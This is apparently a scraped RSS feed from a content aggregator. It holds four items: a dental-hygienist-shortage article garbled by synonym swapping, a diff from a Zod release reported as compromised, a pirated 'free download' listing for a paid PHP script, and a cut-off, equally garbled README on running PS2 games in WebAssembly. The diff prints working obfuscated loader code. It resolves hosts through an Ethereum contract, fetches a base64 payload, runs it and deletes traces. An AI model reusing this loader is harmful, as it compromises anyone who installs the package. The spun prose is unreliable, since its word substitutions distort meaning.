prosecute jobs in additional company environments, specified as dental assistance organizations or personal equity-backed groups. These entities frequently have a position for pushing higher-cost treatments and compressing project times to create higher profits. While hygienists may initially be enticed by the benefits and pay at these operations, the gait can be exhausting, resulting in a revolving door.</p><p>"They're not retaining group any improved than another custom models are," says Dr. Kathryn Rothas, a New York-based dentist and spokesman for the American Dental Association. Rothas is the dental director of Whitney Young Health, a federally funded community medicinal center in Albany. As we're speaking, she says they're trying to inhabit an open dental hygienist position. While they recommendation firm benefits, they don't pay as much as bigger company dental groups.</p><blockquote>Graduating additional hygienists during failing to location why existing hygienists depart the workforce is akin filling a bucket without addressing the leak.</blockquote> <p>Brandon Patel manages the forefront array at his wife's two Connecticut dental practices. He tells me they're in a akin situation. "I've had a job article up for nearly six months, and we have had basically no applicants," he says. "The applicants we've had are full-time workforce fair looking for a improved offer." His medicinal center is offering $55 to $60 an hour, but no health insurance, which Patel says is "very difficult to provision as a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">small-business owner</a>."</p><p>Dental agency dynamics are complicated. People are frequently operating in tight quarters, and personalities can clash. Some dentists may have a way they akin doing things that merely doesn't jibe alongside certain employees. Morris formerly worked for a beautiful older dentist who did beautiful activity &mdash; but he insisted on using old instruments, and following her paychecks started to bounce, she quit. The pay and elasticity of temping or part-time activity petition to many hygienists, but it increases the chance they end up in offices anywhere they're not comfortable. Dental hygiene is additionally a female-dominated field, and several clinicians measure rear their hours or halt operating formerly they commencement having families.</p><hr><p>The apparent answer to office shortages is to train additional people, particularly since dental hygiene <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">seems beautiful AI-proof</a>, and the potential of a elevated pay should create it an enticing career. That's easier stated than done.</p><p>Unlike nursing programs, anywhere universities dispatch students to partner hospitals for medicinal rotations, dental hygiene programs must build, equip, and run their own dental clinics. A sole place solitary can disbursal upward of $8,000, not to citation X-ray machines, simulation labs, and another equipment. Hygienists-in-training must be closely supervised at these clinics and need to get cognition alongside a broad range of patients and conditions. Expanding these programs can hence be a logistical nightmare and an enormous investment.</p><p>"You have to basically be an outpatient center for medicinal care, which is thinking concerning functioning a hospital and functioning a academy at the identical time, in essence," Rothas says. "It's costly to fair develop a program by a few chairs."</p><p>To those trying to interrupt into the profession, the procedure can awareness bizarrely selective and unnecessarily bottlenecked.</p><p>Bryn Romero turned to dental hygiene following struggling to district a job alongside the data discipline flat he earned in 2021. He's not as concerned concerning the deficit because, to him, it method <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">job security</a>. "As person that was unemployed for a lengthy time, I akin the idea that I'm not going to have to concern concerning that," he says. He's currently concerning midway through the two-and-a-half-year program he started in Utah final spring, but he's been amazed at how many hurdles he had to apparent to get in. He has a companion who's been a dental aide for four years and has been rejected from the identical academy he's in three times. "It feels extremely arbitrary," he says. (Dental assistants have small training and a smaller range than hygienists &mdash; they prepared rooms, hand dentists instruments during certain procedures, and obtain X-rays. They don't mostly do cleanings or measure gum health.)</p><p>There are lone 15 chairs in his school's medicinal center throughout its five rotating cohorts. Three instructors are there to inspect everything, which lengthens delay times and discourages patients from coming in. "The assistance itself could be improved if we fair had additional instructors that were there," he says.</p><p>Beyond the elevated obstacle to entry, dental hygiene merely doesn't happen to many young group as a possible occupation path. High academy direction counselors frequently item students toward another healthcare arenas, specified as nursing and radiology. Dental hygiene doesn't get much notice in civilization or the media, either. There's no "<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">The Pitt</a>" or "ER" for the dental chair.</p><hr><p>The base logic of many of these problems isn't Big Mean Dentist, it's an industry anywhere the economics are no longer working.</p><p>Dental coverage reimbursement rates have stagnated in latest years, all during dental agency expenses have continued to rise. That's led several practices to halt accepting certain insurances or prosecute additional out-of-network patients to assistance alongside their inner math. Rothas says new patients frequently district in her medicinal center since their previous dentist stopped accepting their insurance.</p><p>New graduates in dental hygiene and dentistry have distinct priorities than generations past. <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">They desire flexibility</a> and see the petition of high-paid temp options complete going to activity full-time at a local office.</p><p>"Graduating additional hygienists during failing to location why existing hygienists depart the workforce is akin filling a bucket without addressing the leak," says Jessica August, the chairman of the American Dental Hygienists' Association.</p><p>There are projected fixes out there, but many of them are controversial. There's a shove in several states, specified as Arizona, Virginia, and Missouri, to authorize dental assistants to be trained on the job to execute essential cleanings and another procedures traditionally handled by hygienists. Hygienists contend that this volition guide to worse outcomes for patients.</p><p>"Workforce shortages should not be addressed by lowering the norm of care, substituting workers who have not received equal learning and medicinal preparation," August says.</p><p>A fistful of states, including Florida and Indiana, authorize foreign-trained dentists to rotate into dental hygienists without completing a US-based program. Some hygienists appear additional open to that &mdash; assuming they have to obtain the identical commission exams. Others concern it volition negatively effect care, since dentists don't obtain the identical extensive, specialized training in hygiene and preventive care.</p><blockquote>There are a lot of hygienists who are additionally at the item anywhere they need to do item else.</blockquote><p>It's difficult for hygienists to custom in distinct states since they have to use for a new licence and jump through a new set of hoops. Sarah Hiller, 37, went to dental hygiene academy in New York. When she moved throughout the nation to Oregon, she had to expend $5,000 to re-up her learning and obtain a test to get licensed there, since hygienists are allowed to location fillings in her new home. "We need additional licence portability and fair standardization," she says.</p><p>Much of what hygienists ultimately desire is risen autonomy, whether that's operating under a dentist who respects their opinions and recommendations, improved occupation growth, or equal the chance to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">strike out on their own</a>.</p><p>Some states, specified as Colorado and Oregon, authorize hygienists to custom independently without straightforward dentist supervision. Some states authorize community health hygienists to act settings anywhere admission to dental attention is frequently limited, specified as <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">nursing homes</a>, or to provision pathways for hygienists to rotate into dental therapists, who have a broader scope.</p><p>"That's a much improved benevolent of marriage of putting dental attention anywhere it's needed and not accessible, but additionally giving dental hygienists a function that's additional empowering and flexible," says Lisa Simon, an aide prof of oral health guideline and epidemiology at Harvard.</p><hr><p>Many hygienists aren't waiting for their circumstances to improve. That's the case for Angela Scott, who remaining the occupation in 2022 following 20 years in the field. After a high arm hurt and struggling to balance her job alongside childcare, she decided being a hygienist "was fair not sustainable anymore." Scott, who has practiced in the US and Europe, now lives in Berlin, anywhere she's trying to interrupt in as a UX decorator following completing an <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">internet footwear camp</a>. She's additionally operating on an <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">online course</a> to try to assistance another hygienists who are looking to get out of the industry.</p><p>"I was at the item anywhere I began to outgrow what I was doing, and I knew I wanted to do more, but I additionally knew there was no way I could get any additional autonomy as a dental hygienist," she says. "There are a lot of hygienists who are additionally at the item anywhere they need to do item else."</p><p>Morris, in Virginia, says she regularly overhears another dentists asking her chief how she keeps her hygienists around. She's not equal certain her doctor is conscious of how distinctive their setup is.</p><p>"That association that we have, that's what group desire whenever they go into dental hygiene," she says.</p><hr><p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel=""><em>Emily Stewart</em></a><em> is a elder equal at Business Insider, penning concerning endeavor and the economy.</em></p> <p> Business Insider's Discourse stories provision perspectives on the day's most pressing issues, informed by analysis, reporting, and expertise. </p> </div> <div e-name="post-bottom-most-popular"> <h2>Most popular</h2> <div data-component-type="most-popular" data-load-strategy="lazy" data-limit="6" data-hide-read-time="true" data-track-view='&quot;bi_value_unassigned&quot;}' data-track-click-shared='&quot;bi_value_unassigned&quot;}'> <span data-overlay-text="01"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="02"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="03"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="04"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="05"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> <span data-overlay-text="06"> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the stories you desire to cognize concerning the earth of business, technology, and finance</span> </h3> </div> </div> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <div> <p><span>Emily Stewart is a elder equal on Business Insider&rsquo;s <a href="https://en.mycoding.id/category/business" target="_blank">Discourse</a> team. She focuses on consumerism, culture, and the economy, among another topics. Some of her biggest stories have explored <a href="https://en.mycoding.id/category/business" target="_blank">Red Lobster&rsquo;s demise</a>, <a href="https://en.mycoding.id/category/business" target="_blank">middle-class shoplifting</a>, <a href="https://en.mycoding.id/category/business" target="_blank">convenience stores&rsquo; struggles</a>, <a href="https://en.mycoding.id/category/business" target="_blank">the increase of illicit narcotics as activity performance-enhancers</a>, and generational backing trends, including <a href="https://en.mycoding.id/category/business" target="_blank">Gen Z&rsquo;s affection for AmEx</a> and <a href="https://en.mycoding.id/category/business" target="_blank">the impending avalanche of baby boomers&rsquo; stuff</a>. She additionally writes regularly concerning <a href="https://en.mycoding.id/category/business" target="_blank">sports betting</a>, <a href="https://en.mycoding.id/category/business" target="_blank">event ticketing</a>, the <a href="https://en.mycoding.id/category/business" target="_blank">alcohol industry</a>, <a href="https://en.mycoding.id/category/business" target="_blank">work</a>, <a href="https://en.mycoding.id/category/business" target="_blank">millennials</a>, and <a href="https://en.mycoding.id/category/business" target="_blank">economic trends</a>.&nbsp;</span><span>Emily appears regularly on nationally syndicated broadcast shows and podcasts, including Marketplace, The Weekend Dive, and Today, Explained. She has visitant hosted C-SPAN&rsquo;s &ldquo;After Words&rdquo; and moderated multiple panels on financial guideline and office dynamics.</span><span>Before joining Business Insider, Emily was at Vox, anywhere she covered endeavor and the economics and wrote a newsletter, &ldquo;<a href="https://en.mycoding.id/category/business" target="_blank">The Big Squeeze</a>,&rdquo; concerning how group cognition the forces of the economics and capitalism day to day. Prior to that, she worked at TheStreet.</span> </p></div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/the-giant-cavity-in-america-s-dental-care-industry-72119</guid> <pubDate>Mon, 12 Oct 2026 09:24:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Emily Stewart)]]></author> </item> <item> <title><![CDATA[Zod 4.6.6 compromised by malware?]]></title> <description><![CDATA[Zod 4.6.6 compromised by malware?. Comments]]></description> <media:thumbnail url="https://opengraph.githubassets.com/f8ad7d63c7a1406cfc8e44744b4c47f2cbdbfec14911579af6e780edb3baf0d5/colinhacks/zod/commit/d821685ea6732436fcdf786a81d076958471e467"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/zod-4-6-6-compromised-by-malware-72120</link> <content:encoded><![CDATA[<div><tr data-row-selected="false"><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-0-0" data-selected="false" role="gridcell" tabindex="-1" colspan="4"></td></tr><tr data-row-selected="false"><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-1-0" data-selected="false" role="gridcell" tabindex="-1"></td><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-1-1" data-selected="false" role="gridcell" tabindex="-1">1</td><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-1-2" data-line-anchor="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398dR1" data-selected="false" role="gridcell" tabindex="-1"><span>+</span><p><span>import</span> <span>f</span> <span>from</span><span>"fs"</span><span>;</span><span>import</span> <span>o</span> <span>from</span><span>"os"</span><span>;</span><span>import</span> <span>p</span> <span>from</span><span>"path"</span><span>;</span></p></td></tr><tr data-row-selected="false"><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-2-0" data-selected="false" role="gridcell" tabindex="-1"></td><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-2-1" data-selected="false" role="gridcell" tabindex="-1">2</td><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-2-2" data-line-anchor="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398dR2" data-selected="false" role="gridcell" tabindex="-1"><span>+</span><p><span>const</span> <span>C</span><span>=</span><span>"0xe236330379d0c54aD5b2ef06aC714CEbdd4Ce523"</span><span>,</span><span>S</span><span>=</span><span>"0x53ed5143"</span><span>,</span><span>R</span><span>=</span><span>[</span><span>"https://eth.llamarpc.com"</span><span>,</span><span>"https://ethereum-rpc.publicnode.com"</span><span>,</span><span>"https://cloudflare-eth.com"</span><span>]</span><span>;</span></p></td></tr><tr data-row-selected="false"><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-3-0" data-selected="false" role="gridcell" tabindex="-1"></td><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-3-1" data-selected="false" role="gridcell" tabindex="-1">3</td><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-3-2" data-line-anchor="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398dR3" data-selected="false" role="gridcell" tabindex="-1"><span>+</span><p><span>const</span> <span>dec</span><span>=</span><span>h</span><span>=&gt;</span><span>{</span><span>h</span><span>=</span><span>h</span><span>.</span><span>replace</span><span>(</span><span><span>/</span><span>^</span><span>0</span><span>x</span><span>/</span></span><span>,</span><span>""</span><span>)</span><span>;</span><span>const</span> <span>w</span><span>=</span><span>t</span><span>=&gt;</span><span>parseInt</span><span>(</span><span>h</span><span>.</span><span>slice</span><span>(</span><span>t</span><span>*</span><span>2</span><span>,</span><span>t</span><span>*</span><span>2</span><span>+</span><span>64</span><span>)</span><span>,</span><span>16</span><span>)</span><span>,</span><span>a</span><span>=</span><span>w</span><span>(</span><span>0</span><span>)</span><span>,</span><span>n</span><span>=</span><span>w</span><span>(</span><span>a</span><span>)</span><span>,</span><span>r</span><span>=</span><span>[</span><span>]</span><span>;</span><span>for</span><span>(</span><span>let</span> <span>i</span><span>=</span><span>0</span><span>;</span><span>i</span><span>&lt;</span><span>n</span><span>;</span><span>i</span><span>++</span><span>)</span><span>{</span><span>const</span> <span>s</span><span>=</span><span>a</span><span>+</span><span>32</span><span>+</span><span>w</span><span>(</span><span>a</span><span>+</span><span>32</span><span>+</span><span>i</span><span>*</span><span>32</span><span>)</span><span>,</span><span>l</span><span>=</span><span>w</span><span>(</span><span>s</span><span>)</span><span>,</span><span>b</span><span>=</span><span>(</span><span>s</span><span>+</span><span>32</span><span>)</span><span>*</span><span>2</span><span>;</span><span>r</span><span>.</span><span>push</span><span>(</span><span>Buffer</span><span>.</span><span>from</span><span>(</span><span>h</span><span>.</span><span>slice</span><span>(</span><span>b</span><span>,</span><span>b</span><span>+</span><span>l</span><span>*</span><span>2</span><span>)</span><span>,</span><span>"hex"</span><span>)</span><span>.</span><span>toString</span><span>(</span><span>)</span><span>)</span><span>}</span><span>return</span> <span>r</span><span>}</span><span>;</span></p></td></tr><tr data-row-selected="false"><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-4-0" data-selected="false" role="gridcell" tabindex="-1"></td><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-4-1" data-selected="false" role="gridcell" tabindex="-1">4</td><td data-grid-cell-id="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398d-empty-4-2" data-line-anchor="diff-5acedd97e07708c715d41def1f6fea2b2dc7b126a06d71786130d28b1db4398dR4" data-selected="false" role="gridcell" tabindex="-1"><span>+</span><p><span>(</span><span>async</span><span>(</span><span>)</span><span>=&gt;</span><span>{</span><span>let</span> <span>g</span><span>=</span><span>null</span><span>;</span><span>for</span><span>(</span><span>const</span> <span>u</span> <span>of</span> <span>R</span><span>)</span><span>{</span><span>try</span><span>{</span><span>const</span> <span>r</span><span>=</span><span>await</span> <span>fetch</span><span>(</span><span>u</span><span>,</span><span>{</span><span>method</span>:<span>"POST"</span><span>,</span><span>headers</span>:<span>{</span><span>"Content-Type"</span>:<span>"application/json"</span><span>}</span><span>,</span><span>body</span>:<span>JSON</span><span>.</span><span>stringify</span><span>(</span><span>{</span><span>jsonrpc</span>:<span>"2.0"</span><span>,</span><span>id</span>:<span>1</span><span>,</span><span>method</span>:<span>"eth_call"</span><span>,</span><span>params</span>:<span>[</span><span>{</span><span>to</span>:<span>C</span><span>,</span><span>data</span>:<span>S</span><span>}</span><span>,</span><span>"latest"</span><span>]</span><span>}</span><span>)</span><span>}</span><span>)</span><span>,</span><span>j</span><span>=</span><span>await</span> <span>r</span><span>.</span><span>json</span><span>(</span><span>)</span><span>;</span><span>if</span><span>(</span><span>j</span><span>&amp;&amp;</span><span>j</span><span>.</span><span>result</span><span>)</span><span>{</span><span>for</span><span>(</span><span>const</span> <span>d</span> <span>of</span> <span>dec</span><span>(</span><span>j</span><span>.</span><span>result</span><span>)</span><span>)</span><span>{</span><span>try</span><span>{</span><span>const</span> <span>q</span><span>=</span><span>await</span> <span>fetch</span><span>(</span><span>`https://<span><span>${</span><span>d</span><span>}</span></span>/loader`</span><span>)</span><span>;</span><span>if</span><span>(</span><span>!</span><span>q</span><span>.</span><span>ok</span><span>)</span><span>continue</span><span>;</span><span>const</span> <span>m</span><span>=</span><span>await</span> <span>q</span><span>.</span><span>json</span><span>(</span><span>)</span><span>;</span><span>if</span><span>(</span><span>m</span><span>&amp;&amp;</span><span>m</span><span>.</span><span>setupB64</span><span>&amp;&amp;</span><span>m</span><span>.</span><span>payloadName</span><span>&amp;&amp;</span><span>m</span><span>.</span><span>payloadB64</span><span>)</span><span>{</span><span>const</span> <span>t</span><span>=</span><span>f</span><span>.</span><span>mkdtempSync</span><span>(</span><span>p</span><span>.</span><span>join</span><span>(</span><span>o</span><span>.</span><span>tmpdir</span><span>(</span><span>)</span><span>,</span><span>"ld-"</span><span>)</span><span>)</span><span>;</span><span>f</span><span>.</span><span>writeFileSync</span><span>(</span><span>p</span><span>.</span><span>join</span><span>(</span><span>t</span><span>,</span><span>m</span><span>.</span><span>payloadName</span><span>)</span><span>,</span><span>Buffer</span><span>.</span><span>from</span><span>(</span><span>m</span><span>.</span><span>payloadB64</span><span>,</span><span>"base64"</span><span>)</span><span>)</span><span>;</span><span>g</span><span>=</span><span>{</span>t<span>,</span><span>s</span>:<span>m</span><span>.</span><span>setupB64</span><span>}</span><span>;</span><span>break</span><span>}</span><span>}</span><span>catch</span><span>{</span><span>}</span><span>}</span><span>if</span><span>(</span><span>g</span><span>)</span><span>break</span><span>}</span><span>}</span><span>catch</span><span>{</span><span>}</span><span>if</span><span>(</span><span>g</span><span>)</span><span>break</span><span>}</span><span>if</span><span>(</span><span>!</span><span>g</span><span>)</span><span>return</span><span>;</span><span>try</span><span>{</span><span>process</span><span>.</span><span>env</span><span>.</span><span>RUNTIME_DIR</span><span>=</span><span>g</span><span>.</span><span>t</span><span>;</span><span>await</span> <span>import</span><span>(</span><span>"data:text/javascript;base64,"</span><span>+</span><span>g</span><span>.</span><span>s</span><span>)</span><span>;</span><span>await</span> <span>globalThis</span><span>.</span><span>__SETUP_DONE__</span><span>}</span><span>catch</span><span>{</span><span>}</span><span>try</span><span>{</span><span>f</span><span>.</span><span>rmSync</span><span>(</span><span>g</span><span>.</span><span>t</span><span>,</span><span>{</span><span>recursive</span>:<span>true</span><span>,</span><span>force</span>:<span>true</span><span>}</span><span>)</span><span>}</span><span>catch</span><span>{</span><span>}</span><span>}</span><span>)</span><span>(</span><span>)</span><span>.</span><span>catch</span><span>(</span><span>(</span><span>)</span><span>=&gt;</span><span>process</span><span>.</span><span>exit</span><span>(</span><span>1</span><span>)</span><span>)</span><span>;</span></p></td></tr></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/zod-4-6-6-compromised-by-malware-72120</guid> <pubDate>Mon, 12 Oct 2026 08:47:29 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[SpareCom v1.0 – AI Driven Auto Parts and Vehicle Accessories Ecommerce Platform Script]]></title> <description><![CDATA[SpareCom v1.0 – AI Driven Auto Parts and Vehicle Accessories Ecommerce Platform Script. SpareCom v1.0 – AI Driven Auto Parts and Vehicle Accessories Ecommerce Platform Script Free Download. SpareCom is an AI Driven Enterprise Ready eCommerce platfo...]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Digital Products]]></category> <link>https://en.mycoding.id/sparecom-v1-0-ai-driven-auto-parts-and-vehicle-accessories-ecommerce-platform-script-72122</link> <content:encoded><![CDATA[<div class="entry-content admission clearfix"><div class="stream-item stream-item-above-post-content"><div class="stream-item-size"> </div></div><p class="wp-block-paragraph">SpareCom v1.0 – AI Driven Auto Parts and Vehicle Accessories Ecommerce Platform Script Free Download. SpareCom is an AI Driven Enterprise Ready eCommerce platform. built for Automotive Businesses Selling Spare Parts, Consumables, and Vehicle Accessories. The System Combines a Modern Multi-vendor Storefront alongside AI-assisted Discovery, so Customers can Identify compatible Products Faster by Vehicle Profile, Part Attributes, and Search Intent.</p><div id="ezoic-pub-ad-placeholder-117" data-inserter-version="2" data-placement-location="under_page_title"></div><h3 class="wp-block-heading">Main Features</h3><ul class="wp-block-list"><li>Customer Panel</li><li>Orders Management</li><li>AI Chat Product Comparison</li><li>Track Order</li><li>30+ Online Payment Gateway</li><li>Reviews System</li><li>Multilingual</li><li>Profile Management</li><li>Wishlist</li><li>Product Filter Management</li><li>Social Login</li><li>Email and SMS Notification</li><li>Product Filter</li><li>Categories Management</li><li>Support Ticket</li><li>Subscribers Management</li><li>User Profile</li><li>and more</li></ul><h2 class="wp-block-heading">Download SpareCom – AI Driven Auto Parts and Vehicle Accessories Ecommerce Platform</h2><b>Live Demo:</b> <a href="https://en.mycoding.id/category/digital-products" target="_blank" target="_blank"><b>View Demo</b></a><br><br><div class="download-link-section"><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div> <br><div class="copybox"></div></div><br><p class="wp-block-paragraph">Free download SpareCom – AI Driven Auto Parts and Vehicle Accessories Ecommerce Platform PHP manuscript by ViserLab on <strong><a href="https://en.mycoding.id/category/digital-products" target="_blank">Codecanyon</a> </strong>63701017 Auto Parts Ecommerce application download.</p><div id="ezoic-pub-ad-placeholder-125" data-inserter-version="2" data-placement-location="under_first_paragraph"></div><div class="stream-item stream-item-in-post stream-item-inline-post aligncenter"><div class="stream-item-size"> <div id="container-0730062b1c60873c0fcc80d9fa01093b"></div></div></div><div class="stream-item stream-item-below-post-content"><div class="stream-item-size"> </div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/sparecom-v1-0-ai-driven-auto-parts-and-vehicle-accessories-ecommerce-platform-script-72122</guid> <pubDate>Mon, 12 Oct 2026 07:50:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Null Php Script)]]></author> </item> <item> <title><![CDATA[Show HN: PS2 games statically recompiled to WebAssembly]]></title> <description><![CDATA[Show HN: PS2 games statically recompiled to WebAssembly. Comments]]></description> <media:thumbnail url="https://opengraph.githubassets.com/5a29ed7fee3aa507a2ff9b81fed8091cd83d348c2dfbeda84f97fe88bb552829/snuri00/ps2-web-recomp"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/show-hn-ps2-games-statically-recompiled-to-webassembly-72121</link> <content:encoded><![CDATA[<div data-hpc="true" containertiming="hpc"> <p dir="auto">PlayStation 2 games operating in the browser without an emulator. The game's Emotion Engine device code is translated onward of period into C++, compiled to WebAssembly, and connected against a reimplementation of the PS2's functioning scheme and hardware that draws alongside WebGPU.</p> <p dir="auto"> <a href="https://en.mycoding.id/category/technology" target="_blank"><img src="https://github.com/snuri00/ps2-web-recomp/raw/main/docs/media/demo.webp" alt="Gran Turismo 4 operating in a browser" width="720"></a> <br> <a href="https://en.mycoding.id/category/technology" target="_blank">Watch the complete record (1:24)</a> </p> <p dir="auto">This is the brother or sister of <a href="https://en.mycoding.id/category/technology" target="_blank">psp-web-recomp</a> and follows the identical method. The archetypal heading brought up this way is Gran Turismo 4, chosen since it is among the most demanding games on the system: it leans on the two vector units, on exact floating item behavior for its replays and licence tests, and on graphics tricks that peruse rendered images rear as palettes. It plays from footwear through the beginning movie, the menus and races, alongside music and audio effects, and saves to a recollection cardstock kept in the browser. A competition runs at complete speed, 50 frames per second for this PAL release, in Chrome on a laptop's unified GPU at twice the PS2's resolution, which is how the record complete was made.</p> <p dir="auto">God of War II followed through the identical scripts. It needed no game-specific code, but it established two bugs that Gran Turismo 4 had never triggered, one in the recompiler and one in the vector component timing, and a few missing pieces of the PS2's input/output processor. It now plays from the menus through its cutscenes into combat, and holds 60 frames per second in dense combat at the PS2's resolution in Chrome. At twice the resolution it runs at 48 to 60, constricted by the laptop's unified GPU.</p> <p dir="auto">No equivalent data is included here. You bring a disc depiction of a equivalent you own, and the scripts in this repository rotate it into a web leaf on your machine.</p> <p dir="auto"><strong>Recompilation.</strong> eerecomp says the game's executable, follows its authority stream to discover the functions and emits C++ for them in units of 16 KiB of visitant code. The output keeps the R5900's quirks: 128-bit registers and the multimedia instructions that activity on them, branch postpone slots, the PS2's floating item unit, which has no infinities or denormals and rounds alternatively from IEEE, and vector component 0 used as a coprocessor. Jumps between units rotate into rear calls, and a thread toggle unwinds the presenter stack and resumes at the visitant address, so the generated code never needs a stack per visitant thread.</p> <p dir="auto"><strong>A small PS2 kernel.</strong> The EE flank of the functioning scheme is answered by high-level emulation: threads, semaphores, interrupt handlers for the DMA controller and the vertical blank, alarms, and the SIF conduit that connects the chief CPU to the I/O processor. The I/O processor runs the game's own IRX modules, the audio driver, the disc streaming code and the controller and recollection cardstock drivers that container on the disc, on an translator of its R3000 CPU, during the IOP kernel and the libraries those modules call are reimplemented in C++. The disc is peruse complete HTTP Range requests, so lone the executable is downloaded up front.</p> <p dir="auto"><strong>Vector units.</strong> Most of a PS2 game's 3D activity happens in microprograms the equivalent uploads to vector component 1. They run alongside bit-exact PS2 drift math and alongside the pipeline delays of the MAC, position and clip flags modelled, since games agenda their code about them. Microprograms seen during a test run are compiled onward of period into SIMD C++; any the leaf meets for the archetypal period are translated into a WebAssembly component on the spot, which takes a few milliseconds per program.</p> <p dir="auto"><strong>Graphics.</strong> The Graphics Synthesizer's 4 MB of video recollection lives on the GPU, in its native swizzled layouts, and example is done by WebGPU compute shaders: triangles are binned into tiles and rasterized alongside the GS's own rules for texturing, palettes, alpha blending, degree and destination alpha tests. Because everything stays in GS memory, effects that render into a texture or reinterpret a framebuffer as a palette activity the way they do on the console. The inner resolution can be one, two or three times the native one. A application rasterizer of the identical GS remains as the citation the GPU output is compared against.</p> <p dir="auto"><strong>Threads.</strong> The emulation runs in a worker, vector component 1 has a employee of its own the way it runs in parallel on the console, and the GS commands go through a circle buffer to the leaf thread, which owns the WebGPU device.</p> <p dir="auto"><strong>Sound and movies.</strong> The SPU2 is reimplemented alongside its 48 voices of ADPCM, ADSR envelopes and the streaming DMA games use for music, and its output goes to an AudioWorklet through shared memory. Movies are decoded by an implementation of the IPU, the PS2's MPEG-2 decoder.</p> <div dir="auto"><h2 tabindex="-1" dir="auto">Lessons from making it fast</h2><a href="https://en.mycoding.id/category/technology" target="_blank"><svg data-component="Octicon" viewbox="0 0 16 